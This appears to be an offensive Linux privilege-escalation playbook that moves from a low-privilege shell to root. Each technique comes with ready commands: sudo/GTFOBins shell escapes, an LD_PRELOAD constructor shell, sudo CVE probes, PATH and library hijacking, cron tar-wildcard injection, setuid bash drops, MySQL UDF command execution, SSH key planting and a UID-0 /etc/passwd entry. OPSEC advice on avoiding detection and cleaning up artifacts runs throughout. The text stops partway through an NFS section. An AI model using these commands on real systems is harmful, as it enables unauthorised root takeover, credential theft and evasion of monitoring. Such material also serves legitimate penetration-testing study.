From an unprivileged shell to root: sudo abuse and GTFOBins, SUID/SGID and capabilities, cron and systemd jobs, writable files, credential hunting, privileged groups and container escapes, and kernel exploits.
Triage
start Get a Foothold
An unprivileged shell on a Linux host. Make it usable, then enumerate.
You have command execution as a low-privilege user (a service account, a web user, or a normal login) on a Linux host, and the goal is root (EUID 0). Before any exploit, make the shell usable and build situational awareness: who you are, what the kernel and distro are, and what the host is misconfigured to let you touch. Almost every path to root here is a misconfiguration you have to find, so enumeration is the first move, not exploitation.
Requires
- A low-privilege shell on a Linux host
References
Stabilize the Shell
Upgrade a raw reverse shell to a PTY; break out of a restricted shell.
A raw reverse or web shell has no job control, no tab-completion, and dies on Ctrl-C, and su/sudo/ssh refuse to run without a real terminal. Spawn a pseudo-terminal (pty) so the session behaves like a normal login. If you landed in a restricted shell (rbash, lshell, or a constrained interpreter), escape it first: many editors, pagers, and language REPLs launched inside it can spawn an unrestricted /bin/bash.
Requires
- A non-interactive shell or a restricted shell on the host
Example commands
# Spawn a PTY (Python)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then background and fix the terminal
# Ctrl-Z, then on the attacker box:
stty raw -echo; fg
# in the shell:
export TERM=xterm; stty rows 40 columns 160
# Escape a restricted shell (rbash)
# via an allowed binary that shells out, e.g.:
vi -c ':!/bin/bash' # or: awk 'BEGIN{system("/bin/bash")}'
MITRE ATT&CK: T1059.004
References
OPSEC / detection: Upgrading the shell is local and quiet: pty.spawn() itself writes no utmp/wtmp login record. The wtmp/lastlog footprint comes from the original login (sshd, the web-shell parent, etc.), not from the pty upgrade. Tools that do log (script, screen, tmux, ssh) will add records.
Enumerate & Triage
Sweep the host for the misconfiguration that leads to root, then pick a lane.
Almost every path to root on Linux is a misconfiguration you have to find first, so enumeration is most of the work. Identify the kernel and distro version, your user and groups, sudo rights, SUID/SGID binaries, scheduled jobs, writable files, listening services, and stored secrets. Run the quick wins by hand first (sudo -l, SUID scan, cron, histories), then let an automated script sweep the rest and watch running processes for jobs that fire as root. What you find decides which escalation technique applies.
Requires
- An interactive shell on the host
Example commands
# Identity, kernel, distro
id; uname -a; cat /etc/os-release
# Quick wins: sudo, SUID, cron
sudo -l 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*
# Capabilities and writable files
getcap -r / 2>/dev/null
find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys)'
# Automated sweep + process watch
./linpeas.sh # broad checks
./pspy64 # watch cron/root jobs fire in real time
Tools
MITRE ATT&CK: T1082
References
OPSEC / detection: LinPEAS is loud: it touches thousands of files and is trivially fingerprinted by EDR/auditd. On a monitored host prefer the targeted manual checks and a static pspy binary over dropping a full enumeration script.
Identity & Entitlements
What your identity already holds: sudo rights and privileged group membership.
Check what your identity already confers before you go hunting for a misconfiguration. These are the fastest wins on Linux, the same as a Windows token or group you already hold. sudo -l lists any sudo rights, often a one-step path to root. id and groups show privileged group membership: docker and lxd are effectively root, disk reads the raw block device, adm reads logs, shadow reads /etc/shadow. A service or web account (www-data) usually holds none of these and falls through to the misconfiguration techniques. Windows branches on who you are; Linux branches on what is misconfigured.
Requires
- An interactive shell on the host
Example commands
# Sudo rights (fast path, but may prompt for the account password)
sudo -l # yields nothing on a passwordless service-account shell
# Your user, groups, and any privileged membership
id; groups
MITRE ATT&CK: T1033
References
Host Controls & Confinement
Confinement and logging that blocks or catches escalation tricks, the Linux analog of AMSI/EDR.
A hardened Linux host constrains what your escalation attempts can do and logs them, so check before assuming a technique will work. SELinux or AppArmor confinement can deny an action even for a root-equivalent process. Mount options matter most: nosuid neuters SUID and setuid-shell tricks, and noexec blocks running a dropped binary, so /tmp, /dev/shm, and /home are common blockers (this is why the cron-wildcard setuid trick can be inert). auditd or an eBPF-based EDR logs execve and file writes. This constrains which techniques work rather than giving a path to root, like the Windows Defense Evasion checks.
Requires
- An interactive shell on the host
Example commands
# Confinement + mount restrictions
id -Z 2>/dev/null; aa-status 2>/dev/null # SELinux / AppArmor (full aa-status needs root)
cat /proc/self/attr/current 2>/dev/null # unprivileged: this shell's AppArmor label
mount | grep -E 'nosuid|noexec' # where SUID / exec is blocked
MITRE ATT&CK: T1518.001
References
Sudo Abuse
category Sudo Abuse
Turn a sudo right or a sudo bug into a root shell.
The most common Linux privesc. sudo -l reveals commands you may run as root and the environment variables sudo preserves (env_keep in the matching Defaults); sudo -V shows the version, which you compare against known-vulnerable ranges. A permissive rule, a shell-spawning binary, LD_PRELOAD, argument injection, or a sudo CVE each gets you a root shell.
MITRE ATT&CK: T1548.003
References
Sudo Rule / GTFOBins
sudo -l shows ALL, a shell, or a binary with a documented shell escape.
Read your sudo entitlements with sudo -l. An unrestricted rule (ALL) or a permitted shell hands you root immediately. Otherwise, most allowed binaries can be steered into spawning a shell, reading a file, or writing one as root: GTFOBins catalogs the exact escape for each (a pager that shells out, an editor, an interpreter, tar/find with an exec option). NOPASSWD rules mean no credential is even needed.
Requires
- A sudoers rule granting you one or more commands as root (with or without NOPASSWD)
Example commands
# List your sudo rights
sudo -l
# Unrestricted rule or a shell
sudo su - # or: sudo /bin/bash
# Shell escape via an allowed binary (GTFOBins)
sudo find . -exec /bin/sh \; -quit
sudo less /etc/profile # then: !/bin/sh
sudo awk 'BEGIN{system("/bin/sh")}'
Tools
MITRE ATT&CK: T1548.003
References
OPSEC / detection: sudo invocations are logged to the auth log / journal with the exact command; a shell escape from an odd binary stands out in review. sudo -l is itself logged to syslog/auth.log by default via the sudoers plugin (COMMAND=list), with no auditd required; auditd only adds a separate, harder-to-tamper record.
Environment Injection (LD_PRELOAD)
A sudo rule preserves the environment; steer the loader to run your code as root.
When a sudoers rule keeps environment variables (env_keep with LD_PRELOAD or LD_LIBRARY_PATH, or env_reset disabled), you control how the elevated command loads code. Point LD_PRELOAD at a small shared object whose constructor spawns a root shell, or point LD_LIBRARY_PATH at a directory holding a malicious copy of a library the command needs. The binary runs as root and loads your library first.
Requires
- A sudo rule that preserves LD_PRELOAD / LD_LIBRARY_PATH (env_keep) or does not reset the environment
Example commands
# Confirm the env is preserved
sudo -l # look for env_keep+=LD_PRELOAD or missing env_reset
# Build a preload shell
cat > /tmp/x.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){setuid(0);system("/bin/bash");}
EOF
gcc -shared -fPIC -nostartfiles /tmp/x.c -o /tmp/x.so
# Trigger via the allowed sudo command
sudo LD_PRELOAD=/tmp/x.so <allowed-command>
MITRE ATT&CK: T1574.006
References
OPSEC / detection: The sudo command is still logged; the preload library on disk is the artifact. glibc ignores LD_PRELOAD for plain setuid binaries, so this depends on the sudoers env policy, not on the target being setuid.
Argument & Wildcard Injection
A rule looks constrained but a binary flag, wrapper, or wildcard breaks out.
A sudo rule that pins a specific binary or wrapper often still lets you smuggle in behaviour. Many tools have a flag that shells out or writes arbitrary files (an editor invoked from a --exec, a checkpoint action, a config-file override). sudoedit and wrappers that pass your arguments to another program are classic footguns. Where a rule allows a command with a wildcard, extra crafted filenames become option arguments.
Requires
- A sudo rule pinning a binary/wrapper that accepts an argument or wildcard you can influence
Example commands
# Break out via a tool flag (GTFOBins)
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
sudo git help config # then type: !/bin/sh (opens the man pager / less)
# Inject options through a wildcard
# rule: (root) /usr/bin/somejob * -> plant files whose names are flags
touch -- '--some-dangerous-flag'
Tools
MITRE ATT&CK: T1548.003
References
OPSEC / detection: The elevated command and its arguments are logged, so an injected flag or a shell-out is visible to anyone reviewing sudo logs.
Sudo CVEs
Exploit a flaw in sudo itself: Baron Samedit, Runas bypass, sudoedit, host/chroot.
Check sudo -V against the known-vulnerable ranges. Baron Samedit (CVE-2021-3156) is a heap overflow reachable by any local user with no sudo rights at all. CVE-2019-14287 bypasses a Runas rule written as (ALL, !root) by passing user -1. CVE-2023-22809 abuses sudoedit EDITOR handling to edit arbitrary files. The 2025 pair widens reach: CVE-2025-32462 (the -h/--host option leaking into execution) and CVE-2025-32463 (the --chroot option loading an attacker /etc/nsswitch.conf); CVE-2025-32463 is in the CISA KEV catalog (confirmed actively exploited), CVE-2025-32462 is not.
Requires
- A locally installed sudo version within a vulnerable range (some, like Baron Samedit, need no sudo rule)
Example commands
# Check the version first
sudo -V | head -1
# Runas bypass (CVE-2019-14287)
sudo -u#-1 vi # rule Runas is (ALL,!root); run a command the rule permits (its command field must be ALL or list that binary)
# Probe Baron Samedit (CVE-2021-3156)
sudoedit -s '\' $(python3 -c 'print("A"*1000)') # a crash implies vulnerable
MITRE ATT&CK: T1068
References
OPSEC / detection: A failed exploit can crash sudo (logged) or leave core dumps. Confirm the version before firing; a memory-corruption PoC against a patched build is noisy and pointless.
SUID / Capabilities
category SUID / SGID & Capabilities
Abuse a binary that runs with elevated privilege regardless of the caller.
setuid/setgid binaries and file capabilities let a program keep root (or another owner) power no matter who launches it. Abuse a known shell escape, hijack a library or a relatively-named command it loads, use a dangerous capability, or reverse a custom binary for a flaw.
MITRE ATT&CK: T1548.001
References
SUID / SGID GTFOBins
A setuid-root binary has a documented way to spawn a shell or read/write as root.
Enumerate every setuid/setgid file, then check each against GTFOBins. A binary carrying the setuid bit and owned by root runs with root effective UID for anyone; if that binary is a shell-spawner, pager, editor, or a tool with an exec/read/write primitive, you inherit root. Some need a small setuid(0) call first because the binary drops privileges, which GTFOBins notes per entry.
Requires
- A setuid/setgid root binary with a known GTFOBins escape (or a shell-out primitive)
Example commands
# Find SUID/SGID binaries
find / -type f -a \( -perm -u+s -o -perm -g+s \) -ls 2>/dev/null
# Escape a SUID binary (GTFOBins examples)
# e.g. find / bash / env are common:
./find . -exec /bin/sh -p \; -quit
/bin/bash -p
env /bin/sh -p
# -p is needed only where the shell drops SUID by default; omit it where the shell does not
# drop it (e.g. /bin/sh is dash on Debian/Ubuntu), or the escape silently fails
Tools
MITRE ATT&CK: T1548.001
References
OPSEC / detection: Running a stock SUID binary is normal; a shell spawned from one with the -p (preserve privileges) flag, or an unexpected child process, is the tell in process telemetry.
Shared-Object / Library Injection
A privileged binary loads a library or module from a path or name you control.
A setuid or root-run program resolves shared objects at runtime. If it dlopen()s a library from a writable directory, honours an unsanitised RUNPATH, or an interpreter it runs imports a module from a writable path (a writable entry on Python sys.path, a PERL5LIB, a writable .so it expects), plant a malicious library whose constructor runs your code as root. Run ltrace/strace to see which files it tries to open and where.
Requires
- A privileged binary that loads a shared object or interpreter module from a writable or attacker-influenced path
Example commands
# See what libraries it opens
strace -f -e openat ./target 2>&1 | grep -i '\.so'
ltrace ./target 2>&1 | head
# Plant a constructor .so at the expected path
cat > x.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){setuid(0);setgid(0);system("/bin/bash -p");}
EOF
gcc -shared -fPIC -o /path/it/loads/lib.so x.c
# Python module hijack
# writable dir earlier on sys.path than the real module:
echo 'import os;os.setuid(0);os.system("/bin/bash")' > /writable/on/path/<module>.py
MITRE ATT&CK: T1574.006
References
OPSEC / detection: The planted library or module is the on-disk artifact and integrity-monitoring will flag a new .so/.py in a system path. Note on tracing: the kernel drops the setuid bit when you ptrace a setuid binary as non-root, so it runs with your privileges and its privileged library-resolution paths can differ from the real run. Prefer static inspection (ldd, readelf -d, strings) or trace as root; ptrace_scope may block the attach outright.
PATH Hijacking
A privileged binary calls a helper by relative name; front-run it via $PATH.
A setuid binary, or a script run as root via sudo or cron, invokes another command without an absolute path (service, cat, ps). The privileged process searches $PATH to resolve it. Prepend a directory you control to $PATH and drop an executable with the helper name, or, where the caller has its own fixed PATH, write into whichever directory on that PATH is writable. Your stand-in runs with the caller privilege.
Requires
- A root-run binary/script that calls a command by relative name, and control of a directory that resolves first on its PATH
Example commands
# Spot a relative call in a SUID binary
strings ./suidbin | grep -E '^[a-zA-Z0-9_.-]+$' # candidate command names (noisy; cross-check against the observed exec)
ltrace ./suidbin 2>&1 | grep -i exec
# Front-run it
echo '/bin/bash -p' > /tmp/service && chmod +x /tmp/service
export PATH=/tmp:$PATH
./suidbin
MITRE ATT&CK: T1574.007
References
OPSEC / detection: Modifying PATH is per-session and quiet, but the stand-in binary in /tmp and the anomalous child of a system binary are visible in process auditing.
Linux Capabilities
A binary carries a capability (cap_setuid, cap_dac_override, ...) that yields root.
File capabilities split root into discrete powers attached to a binary, and several are root-equivalent. cap_setuid+ep on an interpreter lets it call setuid(0) and drop a root shell. cap_dac_override reads or writes any file (edit /etc/shadow). cap_sys_admin, cap_sys_ptrace, and cap_sys_module are similarly decisive. Enumerate with getcap and match the capability to its abuse.
Requires
- A binary with a dangerous capability set (cap_setuid, cap_dac_override, cap_sys_admin, cap_sys_ptrace, cap_sys_module)
Example commands
# Find capabilities
getcap -r / 2>/dev/null
# Abuse cap_setuid on an interpreter
# e.g. python with cap_setuid+ep:
./python -c 'import os;os.setuid(0);os.system("/bin/bash")'
# Abuse cap_dac_override to read shadow
# a binary with cap_dac_override can open any file regardless of perms
Tools
MITRE ATT&CK: T1548
References
OPSEC / detection: Using a capability is indistinguishable from legitimate use of the binary; the child shell it spawns as root is the signal. Capabilities set on non-standard binaries are themselves a red flag in a config audit.
Custom Binary Analysis
Reverse a bespoke root binary for a flaw: injection, TOCTOU, deserialization.
A custom root-owned program (a setuid binary, a sudo/cron-invoked helper, a deployed JAR) is not in GTFOBins, so read it for the flaw. strings and a disassembler reveal a shelled-out command you can inject, a relative path you can hijack, or an insecure temp file. A privileged process that operates on a path it does not exclusively own is a symlink TOCTOU; one that deserializes attacker-influenced data (a sudo-run wrapper, an exposed port) is a code-execution primitive.
Requires
- A custom root-owned binary/script you can read or trigger, containing an injectable command, a TOCTOU window, or an unsafe deserialization
Example commands
# Triage the binary
file ./bin; strings -n8 ./bin | less
# unpack a packaged artifact if needed:
python pyinstxtractor.py ./bin # PyInstaller (or: pyinstxtractor-ng ./bin); then decompile the .pyc
# Win a symlink race (TOCTOU)
while :; do ln -sf /etc/passwd /tmp/predictable 2>/dev/null; done &
Tools
MITRE ATT&CK: T1068
References
OPSEC / detection: Reversing is offline and silent. The exploitation step (a tight race loop, a spawned shell, a temp-file swap) is where process and file auditing can catch you.
Jobs & Services
category Scheduled Jobs & Services
Hijack something root runs on a schedule or on demand.
Cron, systemd timers, logrotate, and root-run scripts execute as root on a schedule or event. If you can write the job, its target script, a directory it uses, or influence a wildcard it expands, your code runs as root the next time it fires.
MITRE ATT&CK: T1053.003
References
Writable Cron Job
A root cron job, its script, or a directory it uses is writable by you.
Cron and systemd timers run jobs as their owner, usually root. Enumerate /etc/crontab, /etc/cron.*, and per-user crontabs, and watch with pspy to catch jobs not listed in a file. If the invoked script is writable, append a reverse shell or a setuid copy of bash; if only the directory is writable, drop a file the job globs in; if the job calls a command by relative name, that is a PATH hijack. Your payload runs as root on the next tick.
Requires
- A cron job or systemd timer that runs as root and executes a file or directory you can write
Example commands
# Enumerate scheduled jobs
cat /etc/crontab; ls -la /etc/cron.*; crontab -l
systemctl list-timers --all
# Catch unlisted jobs live
./pspy64
# Backdoor a writable job script
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/job.sh
# after it fires:
/tmp/rootbash -p
Tools
MITRE ATT&CK: T1053.003
References
OPSEC / detection: The modified script and a setuid /tmp/rootbash are on-disk artifacts. pspy is quiet (it watches /proc via inotify and scans it, no root or ptrace needed), but the payload firing as root is logged by cron and auditd.
Cron Wildcard Injection
A root job runs a command with an unquoted * over a directory you can write.
A privileged job that runs tar, rsync, chown, or 7z with an unquoted wildcard over a directory you control lets you smuggle in command-line options as filenames. tar honours --checkpoint-action, rsync honours -e, and each becomes an argument when the shell expands *. Drop files whose names are those flags plus a script, and tar/rsync/7z execute your code as root when the job expands the wildcard; chown/chmod instead take a --reference file, letting you change ownership or permissions of an arbitrary file (an indirect path to root, not direct code execution).
Requires
- A root cron/job running a wildcard command (tar/rsync/chown/7z) over a directory you can write
Example commands
# tar checkpoint-action injection
cd /writable/dir/the/job/globs
echo '#!/bin/sh' > sh.sh; echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' >> sh.sh; chmod +x sh.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh sh.sh'
# after the job fires, run the setuid bash with -p or it drops back to your UID and is NOT root:
/tmp/rb -p
MITRE ATT&CK: T1053.003
References
OPSEC / detection: The flag-named files are visible to anyone who lists the directory, and the spawned action is logged when the job runs. Clean up the crafted filenames after the job fires. If /tmp is mounted nosuid (common on hardened hosts), the /tmp/rb setuid trick is inert; have the action drop the setuid binary somewhere exec+suid-capable (/var/tmp or the user home) or just run a reverse shell / add a key from the action instead.
Writable systemd Unit / Timer
A writable unit file, or its ExecStart target, runs your command as root.
Services run as root through systemd units. If a unit file, a drop-in it includes, or the binary/script named in ExecStart is writable, set ExecStart to your payload (or edit the target) and start or wait for the service. A writable timer that triggers such a unit is the scheduled variant. Relative-path or writable-PATH ExecStart lines are the same class of bug as cron PATH hijacking.
Requires
- A writable systemd unit/timer, drop-in, or ExecStart target for a service that runs as root
Example commands
# Find writable units
find /etc/systemd /lib/systemd /usr/lib/systemd /usr/local/lib/systemd /run/systemd -writable -name '*.service' 2>/dev/null
systemctl list-units --type=service
# Point ExecStart at a payload, then run it
# in a writable .service:
# ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb'
systemctl daemon-reload && systemctl start <unit> # if allowed
MITRE ATT&CK: T1543.002
References
OPSEC / detection: Editing a unit and daemon-reload are logged by the journal; a service whose ExecStart changed is an obvious integrity event. Restarting a system service may disrupt it and draw attention.
Writable Root-Run Script
A script root runs (login/MOTD, app hook, NOPASSWD wrapper) is writable or injectable.
Beyond cron and systemd, plenty of root-run scripts are editable or take unsanitised input: MOTD/update-motd hooks, profile scripts, application maintenance actions, a NOPASSWD wrapper. If the script itself is writable, backdoor it. If it builds a shell command from data you influence (a filename, an env var, a field in a file it parses), inject a command so it executes as root when the script runs.
Requires
- A root-run script that is writable, or that builds a shell command from input you control
Example commands
# Find writable scripts (as current user)
find / -type f -writable \( -name '*.sh' -o -path '*update-motd*' \) 2>/dev/null | grep -vE '^/(proc|sys)'
# Command injection via a controlled field
# if a root script does: eval "echo $NAME" or parses your filename unsafely
export NAME='x; cp /bin/bash /tmp/rb; chmod +s /tmp/rb'
# after it fires, run the setuid bash with -p or it drops privileges and is NOT root:
/tmp/rb -p
MITRE ATT&CK: T1059
References
OPSEC / detection: A modified system script is a clear integrity signal, and the injected command runs under root in the process tree. Prefer the least conspicuous payload (a setuid drop over a callback) on monitored hosts.
Logrotate (logrotten)
A root-run logrotate with create/compress, raced via a directory swap, into an arbitrary root write.
logrotate runs as root and, when configured with the create or compress directive over a log directory you can rename, can be raced so that the file it re-creates lands in an attacker-chosen directory with attacker-controlled content. After logrotate renames the old log, the logrotten technique swaps the log directory for a symlink pointing at a target directory (e.g. /etc/bash_completion.d/), so the newly created file is written there, giving an arbitrary root-owned file write that drops a cron job or a setuid binary. The gating capability is directory-rename control plus the create/compress directive, not merely a writable log.
Affects: logrotten targets logrotate versions the author tested vulnerable: 3.8.6, 3.11.0, 3.15.0, and 3.18.0. Confirm the installed version and config before attempting.
Requires
- A log directory you can rename that root-run logrotate processes with the create/compress directive, plus control of rotation timing, on a vulnerable version/config
Example commands
# Identify what logrotate touches
cat /etc/logrotate.conf; ls -la /etc/logrotate.d/
ls -la <the writable log being rotated>
# Race the rotation (logrotten)
# create directive: payload written to a root-owned path
./logrotten -p ./payload <writable-log>
# compress directive: needs -c and a delay (-s <sec>) for the post-rotation compress step
./logrotten -c -s 4 -p ./payload <writable-log>
Tools
MITRE ATT&CK: T1068
References
OPSEC / detection: logrotten blocks on inotify waiting for the rename rather than spinning, so the tells are the transient directory rename/symlink and the anomalous root-owned file appearing in a system dir (integrity monitoring can flag it), not sustained CPU. Confirm the logrotate version/options before attempting, since it is config-dependent.
Credentials
category Credentials & Secrets
Find or capture a credential that unlocks root or another user.
Operators leave secrets everywhere: config files, histories, git repos, databases, SSH keys, and live process memory. Recover one, reuse a password, crack a hash, or hijack a privileged terminal session or process to become root or a higher-privileged user.
MITRE ATT&CK: T1552.001
References
Hunt Stored Credentials
Grep configs, histories, git repos, and memory for reusable secrets.
Credentials leak into files everywhere. Grep application directories, dotfiles, backups, and web roots for password/secret patterns; read shell histories and env; mine readable .git repositories for secrets committed and later deleted; and check process arguments and a target process memory (via /proc/<pid>/mem, given ptrace access) for cleartext. A single recovered password often unlocks root through su or a sudo rule, or another user with more access.
Requires
- Read access to files, histories, git history, or process memory holding a reusable secret
Example commands
# Grep for secrets
grep -rniIE 'password|passwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null | head
cat ~/.bash_history ~/.*_history 2>/dev/null
# Mine a git repo history
git -C /path/to/repo log -p | grep -iE 'password|secret|key'
# Cleartext in process args / memory
ps aux | grep -iE 'pass|token'
# read a process's memory (needs ptrace access to that PID; gcore <pid> also works):
cat /proc/<pid>/maps; strings /proc/<pid>/mem 2>/dev/null | grep -i pass | head
MITRE ATT&CK: T1552.001
References
OPSEC / detection: Recursive greps across the filesystem are I/O-heavy and slow; they are only logged if the host runs file/read audit rules (auditd read watches, EDR, or fanotify), which are not the default, so scope to likely directories first. Reading another process memory via /proc/<pid>/mem needs ptrace access (gated by kernel.yama.ptrace_scope) and is itself suspicious.
SSH Keys & Trust
Recover a private key, abuse an SSH CA, or write an authorized_keys entry.
SSH offers several trust paths beyond a password. Hunt for readable private keys (id_rsa/ed25519) in home directories, backups, and world-readable locations, and reuse a passphrase you already cracked. Where an SSH certificate authority signs user certs, a leaked CA key lets you mint a cert for any principal the server's CA config accepts (bounded by TrustedUserCAKeys and its AuthorizedPrincipalsFile / principals mapping). And any write into a target user root can drop an authorized_keys entry for a login as them.
Requires
- A readable SSH private key, a leaked SSH CA signing key, or write access to a target authorized_keys
Example commands
# Find private keys
find / -name 'id_*' -o -name 'authorized_keys' 2>/dev/null
grep -rl 'PRIVATE KEY' /home /root /var 2>/dev/null
# Crack a key passphrase
ssh2john id_rsa > h; john --wordlist=rockyou.txt h
# Mint a cert from a leaked SSH CA key
ssh-keygen -s ca_key -I <cert-id> -n <principal> user.pub # then: ssh -i user -i user-cert.pub <user>@<host>
# Plant a key (if you can write ~/.ssh)
ssh-keygen -f k -N ''
install -d -m700 /home/<user>/.ssh
cat k.pub >> /home/<user>/.ssh/authorized_keys
chmod 600 /home/<user>/.ssh/authorized_keys
chown -R <user>:<user> /home/<user>/.ssh # sshd StrictModes refuses group/world-writable or wrong-owner .ssh
Tools
MITRE ATT&CK: T1552.004
References
OPSEC / detection: A new authorized_keys entry and subsequent SSH login are logged: sshd writes "Accepted publickey" to /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL), plus wtmp/lastlog/journald entries. Reusing an existing key blends in far better than adding one.
Database Credentials
Read secrets from a local DB, or run OS commands via a DB running as root.
A locally reachable database is both a secret store and, if it runs as root, a code-execution primitive. Connect with credentials found on disk (or default/blank), then dump application password hashes and API keys for reuse. Where MySQL/MariaDB runs as root, a user-defined function (UDF) executes shell commands as the service account; PostgreSQL COPY ... PROGRAM and similar features are equivalents.
Requires
- Access to a local database (found or default creds), ideally one whose service runs as root
Example commands
# Connect and dump secrets
mysql -u root -p # try creds from config files / blank
# SELECT user,authentication_string FROM mysql.user;
# MySQL UDF command exec (service as root)
SHOW VARIABLES LIKE 'plugin_dir'; -- where the .so must land
-- write the UDF library there (INTO DUMPFILE is gated by secure_file_priv):
-- SELECT 0x<hex of lib_mysqludf_sys.so> INTO DUMPFILE '<plugin_dir>/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('cp /bin/bash /tmp/rb; chmod +s /tmp/rb');
MITRE ATT&CK: T1059.004
References
OPSEC / detection: A UDF library dropped into the plugin directory is an on-disk artifact, and command execution from the DB process is anomalous in process telemetry. Dumping credentials is quieter than the UDF step.
Credential Reuse & Hash Cracking
Reuse a recovered password across accounts; crack a captured hash offline.
Operators reuse one password everywhere, so a secret pulled from a database, config, or vault is worth replaying against other accounts via su <user> and ssh user@host (sudo authenticates your own current password by default, so a recovered password only reaches a sudo prompt once you can log in or su as the user who owns it). When you only hold a hash (from /etc/shadow, a DB, or a keystore), crack it offline with a wordlist and rules rather than attacking a live service. A cracked root or admin password ends the chain directly.
Requires
- A recovered password to replay, or a captured hash to crack offline
Example commands
# Reuse a password against local accounts
su - root # and su to other users; try the same password on ssh/services
# Crack a shadow hash
unshadow /etc/passwd /etc/shadow > u
john --wordlist=rockyou.txt u # or: hashcat -m 1800 hash rockyou.txt
Tools
MITRE ATT&CK: T1110.002
References
OPSEC / detection: Cracking is offline and invisible to the target. Password reuse via su/ssh generates auth-log entries, and repeated failures can lock accounts or trip alerts; try the most likely account first.
Session / Process Hijack
Attach to a root tmux/screen socket, ptrace a process, or read the X11 display.
A live privileged session or process leaks access to whoever can reach it. A tmux or screen server socket readable by your user lets you attach to another user root shell. A process handling a secret in cleartext can be ptraced to read its memory or keystrokes (a password on stdin, a --password argument). And a reachable X11 display can be screenshotted or keylogged for whatever the console user types.
Requires
- A reachable tmux/screen socket of a privileged user, a ptrace-able privileged process, or access to an X11 display
Example commands
# Hijack a tmux / screen session
ls -la /tmp/tmux-*/ /run/screen/*/
tmux -S /tmp/tmux-0/default attach # screen -x <pid.tty>
# ptrace a process for secrets
# same-uid target: yama scope <= 1 is enough; a root/other-user target needs CAP_SYS_PTRACE or root
gdb -p <pid> # or read /proc/<pid>/mem, dump environ/cmdline
MITRE ATT&CK: T1563
References
OPSEC / detection: Attaching to a screen/tmux session may be visible to the legitimate user (a detached client, altered layout). ptrace is gated by kernel.yama.ptrace_scope and is a monitored syscall on hardened hosts.
Files & Shares
category Writable Files & Shares
Abuse a write to a sensitive system file or an unsquashed share.
When the wrong file or share is writable, root follows directly: add an account to /etc/passwd, crack or replace a hash in /etc/shadow, turn an arbitrary-write primitive into authorized_keys or a cron job, or plant a setuid binary on an NFS export mounted no_root_squash.
MITRE ATT&CK: T1222.002
References
Writable /etc/passwd
Append a UID-0 account with a known password to a writable passwd file.
If /etc/passwd is writable, add your own root-equivalent account. A passwd line's second field can hold a crypt(3) password hash of any format ($1$ MD5, $5$ SHA-256, $6$ SHA-512, $y$ yescrypt), which takes precedence over /etc/shadow, so append an entry with UID 0 and a password hash you generated, then su to it. Even without a hash field, a writable passwd lets you point an existing account at a shell or clear a root password prompt.
Requires
- Write access to /etc/passwd
Example commands
# Confirm it is writable
ls -la /etc/passwd
# Append a UID-0 account and su in
openssl passwd -1 hacked # -> $1$...hash
echo 'r00t:$1$...hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su r00t # password: hacked
MITRE ATT&CK: T1136.001
References
OPSEC / detection: A second UID-0 account in /etc/passwd is glaring in any review and integrity monitoring flags the change. Remove the added line once you have a root shell.
Readable / Writable /etc/shadow
Crack the root hash if shadow is readable; replace it if writable.
A misconfigured /etc/shadow is a direct route to root. If it is readable, extract the root hash and crack it offline. If it is writable, replace the root hash with one you generated and su in with the matching password. Either way the account model is untouched, so the change is subtle compared with editing /etc/passwd.
Requires
- Read access (to crack) or write access (to replace the hash) on /etc/shadow
Example commands
# Readable: crack the root hash
unshadow /etc/passwd /etc/shadow > u
john --wordlist=/usr/share/wordlists/rockyou.txt u # gunzip rockyou.txt.gz first if it ships compressed
# Writable: replace the root hash
openssl passwd -6 hacked # generate a SHA-512 crypt hash
# edit /etc/shadow: set root's 2nd field to the new hash, then:
su -
Tools
MITRE ATT&CK: T1110.002
References
OPSEC / detection: Replacing the root hash changes the real password and can lock out or alert the legitimate admin; note the original to restore it. The on-host shadow write is auditable, unlike the offline crack of a readable shadow, which is silent.
Arbitrary File Write / Read
Turn a root-level write (or read) primitive into code execution or disclosure.
A primitive that reads or writes files with root privilege (a web bug, a setuid tool, a path-traversal, a capability) escalates when aimed at the right target. A write becomes root code execution via authorized_keys, a cron file in /etc/cron.d, a systemd unit, or /etc/passwd. A read discloses /etc/shadow, SSH keys, or a token. Pick the target that best fits what the primitive allows (full contents, an append, a specific path).
Requires
- A read or write primitive that operates with root (or another user) privilege on a path you can steer
Example commands
# Write → root cron job
# drop into /etc/cron.d via the primitive:
echo '* * * * * root cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > /etc/cron.d/x
# after cron fires: /tmp/rb -p (the -p is required or bash drops to your real uid)
# Write → SSH key; Read → shadow/keys
# write: append your pubkey to /root/.ssh/authorized_keys
# read : disclose /etc/shadow, /root/.ssh/id_rsa
MITRE ATT&CK: T1053.003
References
OPSEC / detection: Files dropped into /etc/cron.d, /root/.ssh, or the systemd tree are high-signal integrity events. Choose the least-monitored target the primitive can reach and remove it after use.
NFS no_root_squash
Plant a setuid-root binary on a share exported no_root_squash.
NFSv3 trusts the UID the client supplies, and an export configured no_root_squash keeps a client root as root on the share. From a machine where you are root (often your own attack host), mount the export, write a setuid-root shell onto it, and run that binary back on the target as your unprivileged user to become root. /etc/exports (or exportfs -v) shows the no_root_squash flag; showmount -e only lists exported paths, not their options, so use it to find candidate exports and confirm no_root_squash by mounting a candidate as root, creating a test file, and verifying from the target that it is owned by uid 0.
Requires
- An NFS export reachable and mountable with no_root_squash, and root on some client (your own box)
- The target mounts the same export/path, and its mount honors setuid and execution (not nosuid/noexec), so the low-priv user can run the planted file from there
Example commands
# List candidate exports
cat /etc/exports 2>/dev/null; exportfs -v 2>/dev/null # server-side: shows the no_root_squash option
showmount -e <nfs-server> # remote: only lists exported paths, not their options
# Check the target-side mount is exec + suid
